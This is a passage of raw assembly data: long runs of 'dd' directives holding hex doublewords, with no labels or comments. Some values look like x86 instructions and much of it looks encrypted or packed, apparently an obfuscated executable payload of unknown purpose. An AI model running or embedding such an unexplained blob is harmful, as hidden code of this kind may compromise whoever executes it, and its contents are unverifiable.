24448104h, 1704h dd 0C3524200h, 0CEB1289Eh, 1830Fh, 0F5F90000h, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 338A56C3h, 35CFD9CBh, 5D85895Bh, 60060714h, 0DE8h, 69109700h dd 0F5AC3F82h, 313A1FF4h, 850F511Fh, 0 dd 6B68615Ah, 60C7FF6Ah, 0DA8B6650h, 0CE958h, 0C07A0000h dd 0DD58BF6h, 4B57188Ah, 816146FCh, 3DC42404h, 8B0F2890h dd 8, 28A0Fh, 61600000h, 1CBDB5FFh, 8DF90607h, 0A70F485h dd 0A820F06h, 0E9000000h, 5, 1A36C789h, 8F0F60CEh, 5, 44C08166h dd 0D0FF6109h, 13E9h, 0F2EB7B00h, 0DC6A45CEh, 0A9C0B323h dd 702AFCBh, 418EDED2h, 8CD18160h, 662C6BBDh, 8961C88Bh dd 7202585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0F5CB4FEDh, 152585C6h, 0F500607h dd 198Ch, 14E900h, 0C08E0000h, 6B33AABAh, 0A6737084h, 2E3996ABh dd 0D9E99747h, 5568460Dh, 603AA4C5h, 0D860Fh, 8E90000h dd 7E000000h, 0B10B69FBh, 669FEF4Fh, 8161CB8Bh, 17012404h dd 0FFFC5CF8h, 72939B5h, 1890F06h, 0FC000000h, 388D858Dh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 7C2D4BC3h, 0E0055411h, 0F9FC97C7h, 0BB60D0FFh dd 313B3515h, 99CA8166h, 858961B2h, 6073289h, 0DE9h, 379E7200h dd 85C2AECDh, 0CA456E7Fh, 54E94467h, 0F000001h, 188h, 5050F500h dd 14E952h, 8BA70000h, 29F67E94h, 439D8FC0h, 0C7487FCFh dd 0E4B8D3CFh, 310F3A0Ah, 61605250h, 6E9310Fh, 0CD000000h dd 0B9FCD4C8h, 5A585A55h, 242C8958h, 0CE9h, 9DDBC500h dd 7CD353B7h, 4E26AA5Fh, 60EC8B82h, 8166BFB6h, 6113B0C6h dd 60FCC483h, 610CCB80h, 0B70F6060h, 0F0BF0FCEh, 0E861h dd 815A0000h, 0C6CDDEAh, 0FC45C706h, 0 dd 2FA9BA83h, 0F010607h, 9884h, 6A5200h, 92FF0F6Ah, 60703CDh dd 2682895Ah, 8D060C68h, 0C682A9Ah, 3C75206h, 128h, 92FF5053h dd 607145Dh, 9A8D525Ah, 60C682Ah, 26B2FF53h, 0FF060C68h dd 7328992h, 0C00B5A06h, 9A8D5074h, 60C682Ah, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 9DBA8D0Ch, 8B060707h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 7079D82h, 92FF5006h, 6072025h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 5E900h, 41F00000h, 0FF01EB3h, 18Bh, 5660F900h, 870Fh dd 0E9580000h, 0Ah, 49D16h, 75268366h, 8B611C65h, 15CE9D2h dd 1D4F0000h, 49FBF109h, 5AAC9711h, 54B50B03h, 54BF5208h dd 5A300B0Bh, 734E5200h, 26663B2Bh, 27575279h, 7B43C559h dd 0B48061EDh, 1609523Eh, 17D0524Fh, 167C524Fh, 163A524Fh dd 161F524Fh, 168F524Fh, 16E8524Fh, 16E3524Fh, 16F9524Fh dd 16F8524Fh, 6F2F524Fh, 7B5B263Ch, 644F724Fh, 65EA3120h dd 16C70F3Ch, 16E3524Fh, 16F1524Fh, 16F8524Fh, 167C524Fh dd 163E524Fh, 161F524Fh, 168F524Fh, 16C7524Fh, 16E3524Fh dd 16F1524Fh, 16F8524Fh, 167C524Fh, 163E524Fh, 161F524Fh dd 168F524Fh, 16C7524Fh, 16E3524Fh, 16F1524Fh, 16F8524Fh dd 167C524Fh, 163E524Fh, 161F524Fh, 168F524Fh, 16C7524Fh dd 16E3524Fh, 16F1524Fh, 16F8524Fh, 167C524Fh, 163E524Fh dd 161F524Fh, 168F524Fh, 16C7524Fh, 16E3524Fh, 16F1524Fh dd 16F8524Fh, 167C524Fh, 163E524Fh, 161F524Fh, 168F524Fh dd 16C7524Fh, 16E3524Fh, 16F1524Fh, 16F8524Fh, 167C524Fh dd 163E524Fh, 161F524Fh, 168F524Fh, 16C7524Fh, 16E3524Fh dd 16F1524Fh, 16F8524Fh, 167C524Fh, 163E524Fh, 161F524Fh dd 168F524Fh, 16C7524Fh, 16E3524Fh, 16F1524Fh, 16F8524Fh dd 167C524Fh, 0B807524Fh, 0C6E97AADh, 68000017h, 60C716Ah dd 0FBD4C3E9h, 725768FFh, 0B9E9060Ch, 68FFFBD4h, 60C7359h dd 0FBD4AFE9h, 740668FFh, 0A5E9060Ch, 68FFFBD4h, 60C75B2h dd 0FBD49BE9h, 777E68FFh, 91E9060Ch, 68FFFBD4h, 60C788Fh dd 0FBD487E9h, 796768FFh, 7DE9060Ch, 68FFFBD4h, 60C7B70h dd 0FBD473E9h, 7C4F68FFh, 69E9060Ch, 68FFFBD4h, 60C7D3Eh dd 0FBD45FE9h, 7DEB68FFh, 55E9060Ch, 68FFFBD4h, 60C7F59h dd 0FBD44BE9h, 84B468FFh, 41E9060Ch, 68FFFBD4h, 60C85A1h dd 0FBD437E9h, 93AB13FFh, 757FEED4h, 5563D0B6h, 3147B096h dd 0E228C72h, 0D8D6BF4Fh, 0B59B5A6Eh, 947A3949h, 755B1A26h dd 0AF39F80Ah, 0CF4C9907h, 59F2911Ch, 0D6E8538Eh, 0CB18862Eh dd 718B1060h, 2C127AF8h, 48F0AFC1h, 68E6F662h, 0AC5478CBh dd 1761FE3Eh, 69118A91h, 5D051983h, 95DA2EFh, 51CF4885h dd 0F05B41E9h, 0A1F260DEh, 9585095Dh, 8C9A07EDh, 0E9DA780Eh dd 0E0224719h, 8729h, 899C5E00h, 208EFAB7h, 14FBD795h dd 32866BACh, 3DE55EE2h, 0E863AE95h, 0DF8CD177h, 0FE7C8EF9h dd 1784A490h, 670F8891h, 9E061481h, 0D13FA725h, 85096980h dd 0D2407FEBh, 85096985h, 0D139B22Bh, 0CF3D82EBh, 85096982h dd 0CE36AF28h, 3597AB41h, 9FEC42D8h, 693C89F7h, 6FDD8509h dd 85096922h, 33AC4FC8h, 0B75D2DB5h, 0FE6DE023h, 0C5000000h dd 7562AF1Dh, 0F7C48509h, 991A33ECh, 161C03A6h, 0E4C604E7h dd 30FB79F2h, 0FF69E853h, 7162C17Dh, 9A139A0Dh, 0D1DF4C32h dd 9177DF58h, 856B1327h, 21319D18h, 459200A8h, 0EB8B107Ah dd 0A68CF472h, 3F51BC3Bh, 7486F1D7h, 0A11A930Ch, 7BE99139h dd 8B107A2Eh, 0F7DD5BD4h, 4DBB7A8Ch, 8B107EC7h, 7A86F4DAh dd 99AB16FCh, 4D7F0AF1h, 8CFDD44Bh, 0FE694F0Eh, 44E784ECh dd 7018C068h, 1106B502h, 64E25B8Bh, 1836D2F6h, 0CF3B2191h dd 5D6DD9BFh, 4C33CDFh, 40E8C467h, 138129D2h, 660E878Bh dd 5A021680h, 8EF60A74h, 0C42C3CA8h, 9554D24Bh, 803145AFh dd 957E2C67h, 0D9DAC42Ch, 0BD000014h, 987E3D55h, 7A601F29h dd 5A40FF0Dh, 361CDBF1h, 69F9B8CCh, 418822Ch, 0E3F35F45h dd 0C4D03E24h, 0A2B41F05h, 43B159E3h, 911CD0F6h, 5338039Ch dd 472DD5E9h, 904FCDD9h, 6E2D3FAAh, 25899CA3h, 6E230F7Dh dd 5F079117h, 953A4F1h, 34A24A85h, 850953E7h, 229B148Dh dd 52FB4CBAh, 59EF8509h, 4D36D8C5h, 0DB18E022h, 70000000h dd 62A59889h, 50BE3F03h, 85095303h, 39B730A9h, 0D6E8536Eh dd 0A1E886Eh, 65AE34A2h, 18838B10h, 0B61E2C99h, 1F05C43Dh dd 9D3AA2B4h, 374BB58Eh, 84A816BEh, 0D891178Ch, 2003A05Fh dd 2CA2EF5Dh, 6F048509h, 0D96A2B44h, 51CA43E6h, 62813BA9h dd 88018B12h, 0E75238E0h, 77157D5h, 54239685h, 239E9544h dd 5F9E85B3h, 8948C158h, 4BB839A3h, 0E35CD53Dh, 7CAC2732h dd 3A248C95h, 13ECh, 6B2A42AAh, 4D0C1685h, 2DECFA67h, 9C8DE47h dd 0E6A5B923h, 56F3F56h, 0E04C32F1h, 0BD2B11D0h, 0A10CF2B1h dd 9E46D08Fh, 1CD2E330h, 25F08991h, 2DD5E953h, 3C88FE46h dd 68D6AFA5h, 27BF45Ch, 74DFC584h, 6478C533h, 0AB198B10h dd 8B10645Eh, 2E88B04h, 920B8498h, 0E85308D3h, 0D8472ED6h dd 9FAF1BE6h, 9BD7BE37h, 87EF6D6Eh, 652436A1h, 9C04127Fh dd 7A394BB6h, 0CDB4D116h, 7A2FF4E3h, 0E380FED7h, 0DF6DFE40h dd 0F1C2971Dh, 3662D078h, 9A9117D7h, 0DC2C9A21h, 837C93DEh dd 5B5A6F9Ch, 66E4740Ch, 0AE567AC9h, 872E0440h, 799C8393h dd 9B3E6977h, 9811B432h, 0B3109F0h, 0BF28A9F9h, 0E93CD941h dd 0CC371DC5h, 0C36B52BAh, 0DB424FF0h, 670F8D06h, 83289CF9h dd 41E9628Dh, 3945B399h, 0FE1FEAD1h, 2A56AEABh, 0E24D33B1h dd 0D44228D0h, 0A58B4AC8h, 1277283Ah, 0BF97EBBEh, 12EA6D57h dd 44AC0000h, 18876D2Ch, 0FC694F0Eh, 0E0492FEEh, 0BB250BCAh dd 3D58E8A7h, 34F30771h, 13D2E24Eh, 0F4B3BF2Dh, 0D291A30Eh dd 0E532A048h, 8B911CD3h, 0E85327F2h, 1EC66ED6h, 106063B0h dd 1290098Bh, 52FAD675h, 177674E4h, 28E76091h, 9257D742h dd 7641F8A2h, 0D976DE57h, 50BE664Ah, 8B1578E8h, 0BDA34BC4h dd 9B814052h, 0EB61E30h, 0F523F527h, 684EF842h, 0D471EFF9h dd 47B55D71h, 850987BFh, 0D4BA62DBh, 6B81EA69h, 0E24D33F2h dd 18C068D0h, 0F0AC5DAAh, 0C8A0378h, 48F0DC6Fh, 0F7DBEADAh dd 0AC5DD67Eh, 89677E35h, 3DA892FAh, 59000012h, 341AD9F1h dd 16FCBBC5h, 0F6DC9BA9h, 0D2B8778Dh, 5955468h, 0A0B41E90h dd 7F8FFBE1h, 606CDAC0h, 3E50BBA1h, 0DF4DF57Fh, 911CD492h dd 53D49F38h, 7916D5E9h, 8F0D7AAh, 0C1FE9AA1h, 4297E452h dd 0C43D8B11h, 8D35A34Bh, 0E9911846h, 0B8600870h, 0A3EFD4Ah dd 53BDA385h, 6248C63Fh, 4026E5F7h, 0BE5BC3D5h, 0B49B436Fh dd 0A7168BF5h, 7EDAB69Dh, 3158066h, 0FCA4229Bh, 5DC6AC54h dd 0F866DF47h, 850A05ABh, 0EC5AD851h, 8B1109F0h, 45137BF4h dd 59C493AFh, 0FAE08847h, 63007E8Eh, 0D644ECC0h, 850A052Eh dd 0C169118Ah, 0FBFD0653h, 0B533AC78h, 0EAFC674Dh, 0C35FF582h dd 9A426EBDh, 301842Ch, 8BFAE07Fh, 63490881h, 583EE6F8h dd 0FB74DCECh, 56A7157Dh, 3472F50Ah, 0FB53A58Ch, 0ADCB564Fh dd 4FC83042h dd 73C02ED6h, 1972F539h, 0B68C22A0h, 6B2A3CA7h, 738FDCC3h dd 0B2E8FBh, 1F319C82h, 0A7259177h, 2108AE02h, 60DE57D9h dd 3AA850F8h, 72F53AEDh, 76331A93h, 0EBE19414h, 3114B12Fh dd 0DF4DF59Dh, 72F4A692h, 9941BF38h, 0FBA9E32Bh, 47067F78h dd 9AA9C1E3h, 0B11F5CC9h, 6CEDA364h, 0B018910Ah, 3016BE37h dd 0D64FB7C1h, 0E242B058h, 0A972FA10h, 0DE4658C3h, 0CB44E765h dd 86F49C44h, 66E13539h, 2E866DFh, 0AE1C8498h, 66E1355Dh dd 0F69E3211h, 86D8B40Fh, 755B922Dh, 0D57DFB07h, 0ECEFE767h dd 0D27AF36Ch, 0B06F81ECh, 0A4B82208h, 6FDDC33Ch, 482FB63h dd 39A1B31Eh, 24D5E953h, 775215B3h, 91261078h, 5000010h dd 0E0C6859Dh, 0C2A86771h, 0A2884755h, 7E642339h, 0B1410014h dd 4C60CAE4h, 2B3BA78Dh, 0C18866Ch, 0EAFC674Dh, 8BF9A12Bh dd 911CD53Eh, 53804BE4h, 0F63B67E9h, 5A4157C0h, 2E89210h dd 4F0E8795h, 84ECFE69h, 79C634DCh, 1F8B1100h, 4157C0A6h dd 0FCE260D9h, 0F1D77F91h, 8C980687h, 0CA32AB24h, 0F86BD351h dd 58706950h, 0BEE8D3FAh, 11190350h, 0B730A98Bh, 0C08FA339h dd 0FC844355h, 19DA076Ah, 1E43Ch, 0AB917100h, 4359C23Fh dd 81E962DBh, 23E189Ah, 0B84075Ch, 28A6BC25h, 5DC5D742h dd 218D0C77h, 0B3D8B7A3h, 0B12A7B9Eh, 9857D049h, 911628FBh dd 0D121718Ch, 9806AE27h, 91184558h, 7F95FEE4h, 0DF309E06h dd 0D3850A41h, 0C7DB452Bh, 4164B11Fh, 910A850Ah, 0F4A17D13h dd 0E0235B12h, 4934h, 0E9916900h, 10602E7Bh, 0DD5BD48Bh dd 19C1ED40h, 0A0208B71h, 9AAC26B6h, 0B69D16BDh, 0CE6B6E47h dd 0DE4CCAA4h, 91177CF2h, 87F55DD6h, 85096236h, 0C02832A1h dd 0F9616BDAh, 80220096h, 4B18D23h, 0E023BC62h, 0E044h dd 0E8537900h, 5FEC39A7h, 19928B10h, 0E85238A0h, 0DEC46CD4h dd 82FB6371h, 0A1B31E04h, 0A7E85339h, 105EEC39h, 0A019928Bh dd 0E45339E1h, 77F0026Dh, 1851280Fh, 5D458B59h, 72F866E4h dd 478B0FC3h, 4C9C5CDCh, 4CEB1C06h, 0C2904065h, 99128C6Eh dd 0C2EE3DDAh, 0E98B721Ah, 27EAB149h, 4682F06Eh, 0C5911A02h dd 93C1361Dh, 6D1B8BE1h, 676B2FFh, 98E55385h, 3E850676h dd 2BA922C5h, 0F835A288h, 6763D8Ah, 0F16AE385h, 0EF971089h dd 0CC8B9F09h, 0B7687CE6h, 9B847774h, 0C58F79E1h, 0D100000Eh dd 0AC925169h, 8E74333Dh, 6E541321h, 4A30EF05h, 7D0DCCE0h dd 182C9618h, 0F7077359h, 0D8E45238h, 0B6C83319h, 57C56DF7h dd 911CD70Ah, 534C17B0h, 3016D5E9h, 4CF4B3C5h, 5CE5DE65h dd 0AF2DFB53h, 41E991E4h, 106086D3h, 45B32C8Bh, 8B105FF8h dd 0C1A7259Eh, 0B69C4456h, 56BE3C48h, 4BF30570h, 83EBF765h dd 60206DDBh, 4DC68B10h, 0B19756D4h, 4D59C746h, 8BF36CE5h dd 0CB735FEEh, 177B215Dh, 5BB9A091h, 0A9257FE0h, 3C22C543h dd 755BC3CDh, 1790F80Ah, 7C66259Eh, 7DBh, 0D5E953B1h, 0C8DE472Dh dd 169E760h, 10604293h, 9805EB8Bh, 0A6DCBC1Ch, 9D1673AAh dd 0A03A87F5h, 67E08B10h, 0D5F94CE9h, 0E47BF2Dh, 963E911Dh dd 432DB28h, 8A088185h, 0E0C66EE7h, 0C7A6177h, 26ECB648h dd 0AE56FE7Ch, 5D4B9806h, 0AF18504h, 0A3DCC016h, 86047DC7h dd 642335A0h, 5901137Eh, 7BF90573h, 0AFC32D13h, 81CBC1FEh dd 10FA629Bh, 0DB4h, 0A3627AE2h, 85444EBDh, 6524329Fh dd 4100167Fh, 1EDDF15Bh, 3DA7078Eh, 18846A29h, 0F5634908h dd 0D9442AE9h, 0D67E08C7h, 1CD81B68h, 5D28C191h, 16D5E953h dd 4BB3C530h, 80E8FA65h, 0B31B319Ah, 0EA5260CDh, 496BC75Dh dd 91E240D6h, 47E03BAAh, 8B092C57h, 69283AA5h, 0DA3601E1h dd 162119h, 0CB560000h, 8B106AB4h, 0FD3C2E18h, 9F86FFFFh dd 1D18F622h, 2AF5735Ch, 0CD36AA91h, 7E7BE23Ch, 88419200h dd 56F58B10h, 158EA40Dh, 0F68FFF6Dh, 27B911Ch, 8909745Ah dd 0C59FA6DBh, 6DCFB5E5h, 4C3554EBh, 0CBB25AD3h, 8BDD6095h dd 28E76586h, 212B9A80h, 0DCC240B9h, 4FF75F71h, 87EFFB69h dd 3AD0270Eh, 179251D2h, 3549B399h, 81833584h, 0A892FA9Bh dd 0CDCh, 7B3A52BAh, 5D1C2695h, 3DFC0A77h, 19D8EE57h, 0F6B5C933h dd 157F2F66h, 0F05C4201h, 0CD3B21E0h, 0B11C02C1h, 0AE56E09Fh dd 1CD8F340h, 35009991h, 6ED6E853h, 0A30B1D88h, 0B9849A30h dd 0F57D3C4Eh, 19DABE15h, 1835h, 0B4CB6A00h, 0AB8B106Ah dd 19872F3Fh, 8B1056CCh, 9680F972h, 0FFFFFC72h, 25899CCBh dd 0B128977Dh, 52CB3347h, 45B35BD9h, 911792A5h, 681078F1h dd 0A689EC81h, 0E44E604Dh, 6BD957D0h, 8508B11Bh, 0EADB770Dh dd 0E022EB18h, 1C72Ah, 0AACB5F00h, 0B58B1060h, 0EBD13949h dd 8C056D81h, 351B9A13h, 13F9B8CAh, 0ACF967A8h, 528B1060h dd 8AF860D9h, 8B1060A1h, 9604AC54h, 8B105F49h, 8CD947EFh dd 328B105Fh, 2CC240B9h, 5DDC4716h, 0FE77DFF3h, 371EC685h dd 0BBF6D6D4h, 0B24FCD63h, 0EFD53D91h, 0E4CA7284h, 86FF6779h dd 0F8634908h, 94FC0E79h, 0CC3AA21Bh, 8B1031EBh, 0E8D569FFh dd 0E6256B06h, 14F28h, 0AB915D00h, 0CAB02E40h, 63B01E5Fh dd 98B1060h, 0C76F1790h, 10600C59h, 0BB39B28Bh, 0CAC4AB53h dd 828F0881h, 616DDBC1h, 1C0280F9h, 43E09FB1h, 0B624CCE0h dd 91180476h, 2BAE17FDh, 0CF48B0BEh, 0BC35D856h, 95E654h dd 0F389850Ah, 1A9C6E5Fh, 39AEE023h, 0E3000000h, 2E7BE991h dd 0D48B1060h, 0F97282EEh, 634FDE7Bh, 0C42D13BBh, 0D6C230AEh dd 0BA91176Dh, 1A6BD941h, 0E850953h, 0E3C9DA78h, 87006876h dd 4DE18109h, 0B3C1E022h, 0F6000000h, 6ED6E853h, 4717DFC6h dd 2C131D8Ch, 3EBCDD44h, 72DAEE58h, 72E0218Ch, 8B10B625h dd 71D952CBh, 6876E3C9h, 879904EAh, 0CE5C5AC8h, 795F8B10h dd 1B94FC0Eh, 9DB80573h, 0E55E8B10h, 4168167h, 2985A845h dd 1F2F9B81h, 4F8BF9A1h, 0CE911A45h, 0EF6D7BE8h, 452BD34Ch dd 0E1EB5ADBh, 59C3A968h, 0F5EB9445h, 78E09B84h, 0AD38Eh dd 435BC300h, 252F9E84h, 5138066h, 0E1F76046h, 0BED23C22h dd 88266FFFh, 654B0A1Eh, 442AE9F9h, 250BCAD6h, 5FE9A8BAh dd 0DAFC49B7h, 9A2911Ch, 67E9533Eh, 8D27BFA3h, 0C382FB29h dd 0B86072DDh, 0D95765D2h, 0E8534F1Ah, 1D886ED6h, 34624C0Bh dd 97000004h, 4BDA74D5h, 3117BF67h, 0C634B2C8h, 911CCE67h dd 201E452Ch, 0A99DCF5Ch, 880F882Bh, 0CC7458EBh, 0B25B65Eh dd 0B8270D8Bh, 4FCD46AEh, 5DCB33ACh, 7EFCC60Ch, 0E7D46A00h dd 0EA36DC07h, 0D4DE5940h, 0D72CE44h, 991790A2h, 3ADD8h dd 0E5493000h, 37BB2DC2h, 5C4B9806h, 78F17EFDh, 118E18FFh dd 5DB45374h, 7ACB14DFh, 5D8B1060h, 8B10601Bh, 4652C0A6h dd 0B4182BC8h, 641A9E0Ch, 0B52E9117h, 875D6904h, 0BCA60E9Bh dd 9F4h, 63223AA2h, 45040E7Dh, 25E4F25Fh, 1C0D63Fh, 0DE9DB11Bh dd 0FD67474Eh, 0D8442AE9h, 0B52309C8h, 9904EAA9h, 963EC887h dd 1CDCDB28h, 1DE88191h, 6ED6E853h, 63B01EC6h, 0C68B1060h dd 68E1495Bh, 31CE4CC5h, 0D2E85112h, 606FBC2Ah, 9C158B10h dd 0B10D7B23h, 70911CCEh, 900E1E8Ah, 2F9D45EDh, 8503F2E2h dd 54A10F88h, 0FA8503F2h, 4CC49A81h, 26AAAAAEh, 0F251EEADh dd 0F5055D70h, 0F56EE562h, 0A87DF4Dh, 0CA438B10h, 0C0D03C22h dd 2F6A9301h, 72CE7EF7h, 9EF9756h, 0A4AE1DA0h dd 0CC4AC32Bh, 0C26A7AE6h, 0E26070DCh, 1729947Ah, 0B42107AFh dd 47C53EA6h, 8F379BAAh, 2D2C79E7h, 5FCD7EF7h, 7EF72D12h dd 239C3FB8h, 6F55FDA5h, 0A1A8603h, 2D41AB91h, 60CE4CC5h dd 84FE416Ch, 0FE0E7A60h, 0F3A41D96h, 8F6E193Eh, 5A18BF3h dd 91000009h, 6C521129h, 4E34F3FDh, 2E14D3E1h, 0AF0AFC5h dd 3DCD8CA0h, 0D8EC5658h, 0B7C73319h, 98A412F8h, 7688F3D9h dd 17852DB7h, 911CDDCAh, 9C0CD770h, 977D2589h, 0F29A182Eh dd 1CCE2C84h, 1801E891h, 56A311CAh, 0FC850448h, 0F5B69C83h dd 0BF19912h, 3FE78F9Fh, 72DAF059h, 1C3E8BF9h, 6BE48504h dd 0DC482EEDh, 14BC64CCh, 41C59A6h, 886FF85h, 4CF4D86Bh dd 108A82DEh, 65CD468Bh, 5C6AD7BDh, 60FD7BF4h, 9139E1CDh dd 0C8303EABh, 9B63D14Fh, 3784FEE0h, 7BD4218Fh, 17A78F0h dd 249DB11Bh, 6E7BEC73h, 0FF9618Fh, 858h, 0FFBED63Eh, 0E1A0AA19h dd 0C1808EFBh, 9D5C72DBh, 7A394DB7h, 9903ABEAh, 74E0C685h dd 51BFA564h, 35A08645h, 32DA6423h, 1CDD77C4h, 0B9841D91h dd 6ED6E853h, 0A30B1D88h, 0B9849A30h, 0D57D3C4Eh, 0EB3F57EEh dd 0D8BE695h, 0DA77E585h, 180C519h, 751D0000h, 1135BA07h dd 69E7608Bh, 69E8539Eh, 0D48A7FFDh, 5685B240h, 16FC64DDh dd 3DDA99ABh, 0D8EA55EEh, 949B75Fh, 9591177Eh, 250CB41Ch dd 92F488F6h, 23CE3012h, 0F09108E4h, 3A8BF977h, 2E8509F3h dd 7909BA98h, 62E02329h, 7F5FD37Bh, 0F5732955h, 5034h dd 899C6900h, 230F7D25h, 791176Eh, 0D67E268Eh, 24AB8EEFh dd 8AF80F90h, 8508833Dh, 80CD3BE3h, 26850883h, 48B634ADh dd 850882F7h, 7BE3F962h, 341A2895h, 0D01D8BC6h, 76850883h dd 0B91C84FDh, 50AD0F23h, 573764BAh, 77E0229Dh, 0B4h, 42AB91ACh dd 5DC8AE2Ch, 0FA6272DEh, 6097E452h, 0C43D8B10h, 0EBF7654Bh dd 29910A83h, 5DC5D943h, 0FE8C0C77h, 5FDDCCF9h, 0D4BA229Bh dd 6DBA2869h, 138B1132h, 0F462219Ah, 8B114EDEh, 975668D3h dd 0DF872BFAh, 1ABE3571h, 9840B991h, 8DDA48F0h, 3385076Eh dd 57A412BAh, 0FD85076Eh, 0B6200684h, 53BBC735h, 0BCA261DAh dd 0C8D3E52h, 0B59B856Fh, 6EA634Dh, 44AC0000h, 18876D2Ch dd 0FC694F0Eh, 0E0492FEEh, 0BB250BCAh, 3D58E8A7h, 34F30771h dd 13D2E24Eh, 0F4B3BF2Dh, 0D291A30Eh, 0E532A048h, 8B911CDFh dd 0E95327F2h, 86EEFA68h, 0EFD5940Dh, 0E8B37284h, 6ED6E853h dd 0F168DFC6h, 716897DAh, 23A20DF3h, 593FA7B7h, 0FF78E0EAh dd 7F650D86h, 0C5840214h, 3ADBh, 0AB911000h, 4AAE2C42h dd 0A30F1E1Ah, 0CE2F8DFBh, 7EF7911Ch, 0EB9493F7h, 0F288D543h dd 0B52E8503h, 278B9A37h, 60B4117Fh, 0D27A8B10h, 0F7841764h dd 0CB44BD7Eh, 455A44h, 9C8F0000h, 0D14AB889h, 71D95268h dd 69D77FF8h, 91176321h, 0F49C44BDh, 95D3986h, 0E866DF85h dd 4DC01280h, 1AB08509h, 0FA38204h, 0FFD8BF67h, 6E7163D8h dd 236BD957h, 0BF8B1118h, 0E65F6BD9h, 0F73D27h, 9C720000h dd 967D2589h, 2419261h, 8028A6A2h, 2297F1D8h, 4317372Bh dd 0EAD12927h, 0E8C2C94h, 1CD340A0h, 0F8930C91h, 891F9594h dd 0D240E8B5h, 8503F785h, 0AC34B22Bh, 0E02929DAh, 47B55D05h dd 850402FAh, 6CB927A0h, 0CE850403h, 197ADC28h, 138C2F62h dd 73D495h, 462C0000h, 834ECCD8h, 92B7899Ch, 3C89F70Fh dd 0E28B1072h, 49168269h, 0E64E64CDh, 0BD0DF46Dh, 90168D9Bh dd 0C331D952h, 911D7064h, 0B61AB52Eh, 97AB41B7h, 0A4B42006h dd 8ACC9E26h, 32DEE02Eh, 13000000h, 32B4AA91h, 5E4551BFh dd 24A28DC6h, 6008A487h, 1CF294F2h, 48E35C91h, 0D96FE5E4h dd 0CB65845h, 3698E029h, 0F0000000h, 189B5209h, 0D654F804h dd 0E6AA910Bh, 70BD2BCFh, 168B1132h, 8707B69Dh, 3683F199h dd 0DC8B108Ch, 0BE77E563h, 668B10A5h, 5D6BD8BEh, 14FE7CF5h dd 0FFFFFEC7h, 41AB9149h, 664CC52Dh, 0D26FEDF7h, 7686F273h dd 741C950Eh, 69B624CCh, 0F8B1060h, 3444B096h, 67D553CCh dd 911CCF37h, 25C22AA3h, 9402AA06h, 8B105F37h, 7F1C84FDh dd 0EA5800ACh, 8503F162h, 775D057Eh, 0A23FFE08h, 0DF872F83h dd 0EB152471h, 0A951CA78h, 0EB14EE3Bh, 9D1B9478h, 835787F5h dd 4AC37EF7h, 0BDDABBA2h, 248C9E09h, 8B9C4ABh, 0FA1450F9h dd 33ACC094h, 0B9270DB5h, 6480EEADh, 0A30B05FCh, 0C5434FBDh dd 44F474DFh, 3B99DEABh, 593FFE77h, 5DC7ADEEh, 0FA68E149h dd 0DAB948ADh, 0F961DA53h, 0E78C95Ch, 0A01992FAh, 4C8E8AF8h dd 0E58DE0C0h, 0F985BFEh, 0F6641924h, 0D4B169A9h, 0B558D64Fh dd 7006D43Ch, 981883D2h, 1B894068h, 0D4B1D3CEh, 9E14FB74h dd 0B271EA11h, 0EA525ECCh, 238B9504h, 550EE84h, 0E6CC8B97h dd 5C046C78h, 7AF80C76h, 0AD431516h, 0AD1D0491h, 90B69D57h dd 40AE9412h, 3DA68C34h, 0C846BF27h, 879C3E09h, 603986F4h dd 66DF8B10h, 0F25F45EDh, 18FE66E4h, 0A6339BADh, 0D76C3210h dd 0E34E34F3h, 0D2D236D1h, 77C65CF2h, 0AA52FA0Ch, 105FEF3Ch dd 0D6E6528Bh, 0D952F56Eh, 452CD45Bh, 67D54B96h, 937AF35Bh dd 7CFA12AEh, 0B51D2796h, 0ADB9270Dh, 174C12Fh, 59EF8B10h dd 930B7AC5h, 979771BBh, 0B170E967h, 372A2209h, 0FF0DCA20h dd 10044491h, 0F871EA8Bh, 1A26947Ah, 36230AB2h, 4D5E3457h dd 0AEFE6CEAh, 928B1045h, 5A9704EAh, 10459FECh, 53CC458Bh dd 44F03DABh, 1D968B10h, 2A35099Fh, 83F1B0BCh, 8B1062F2h dd 53BCA24Ah, 5437BF3Dh, 91E6257Dh, 4EA703AAh, 105D93E0h dd 0D9C0398Bh, 684C7ACh, 0FFFF3945h, 4EB79DFFh, 661F1CCAh dd 0B7301B40h, 8D58D64Fh, 17D6E853h, 19B4C631h, 1987C833h dd 8B1060CCh, 0E580F972h, 14BC640Ch, 106059A6h, 1886FF8Bh dd 8B1060CBh, 12B5BF2Eh, 0A9851B99h, 4BB4339Eh, 0AD35BC35h dd 19DABEDDh, 4BEDh, 899C2200h, 0B20F7D25h, 78911CCEh dd 41AF57FFh, 8503F1F4h, 8A3219Ah, 36CCA4A4h, 1BB79618h dd 60A80573h, 876E8B10h, 0FE67C3A3h, 5AB8414h, 0D761B67h dd 0EC941B94h, 0E4F05E44h, 4895037Ch, 0EE7EF80Eh, 2C0DF775h dd 42000000h, 7D25899Ch, 1CCEB20Fh, 64FF7891h, 0D56B5300h dd 0B8143779h, 6045A210h, 920B8B10h, 127D630Bh, 841663D1h dd 43BC7EF7h, 53814CCAh, 0C66ED6E8h, 0E86672E0h, 0C6859702h dd 0BBCD381Eh, 0F28DA03Dh, 10603784h, 0EB64DD8Bh, 6295D543h dd 0A8219117h, 5E81D240h, 0DF758509h, 0DF4C3243h, 6D81EBD1h dd 448767EFh, 27A7E022h, 0DC000000h, 7D25899Ch, 176E230Fh dd 268E0791h, 1E2A987Eh, 51BF3DB6h, 85095300h, 0D3C05EF4h dd 0E0224D33h, 0C113h, 0E8534800h, 1E886ED6h, 51BCA20Ah dd 0A82B0D1h, 7FF8F1C0h, 0E1C76F17h, 84FD6575h, 1092C916h dd 78F66F8Bh, 56152792h, 0B0D6C7AEh, 0C0C5681Ch, 0D44ED442h dd 0B8238B10h, 9601E7A6h, 0AC7F1C84h, 42EA5800h, 9E9117EEh dd 0D8BE6625h, 44E15F69h, 0B725CDE1h, 8B135275h, 9DEA5800h dd 437EFFFCh, 0C2A94CCAh, 5B624B28h, 24CC457Ch, 18C0D43Eh dd 0D0B6C632h, 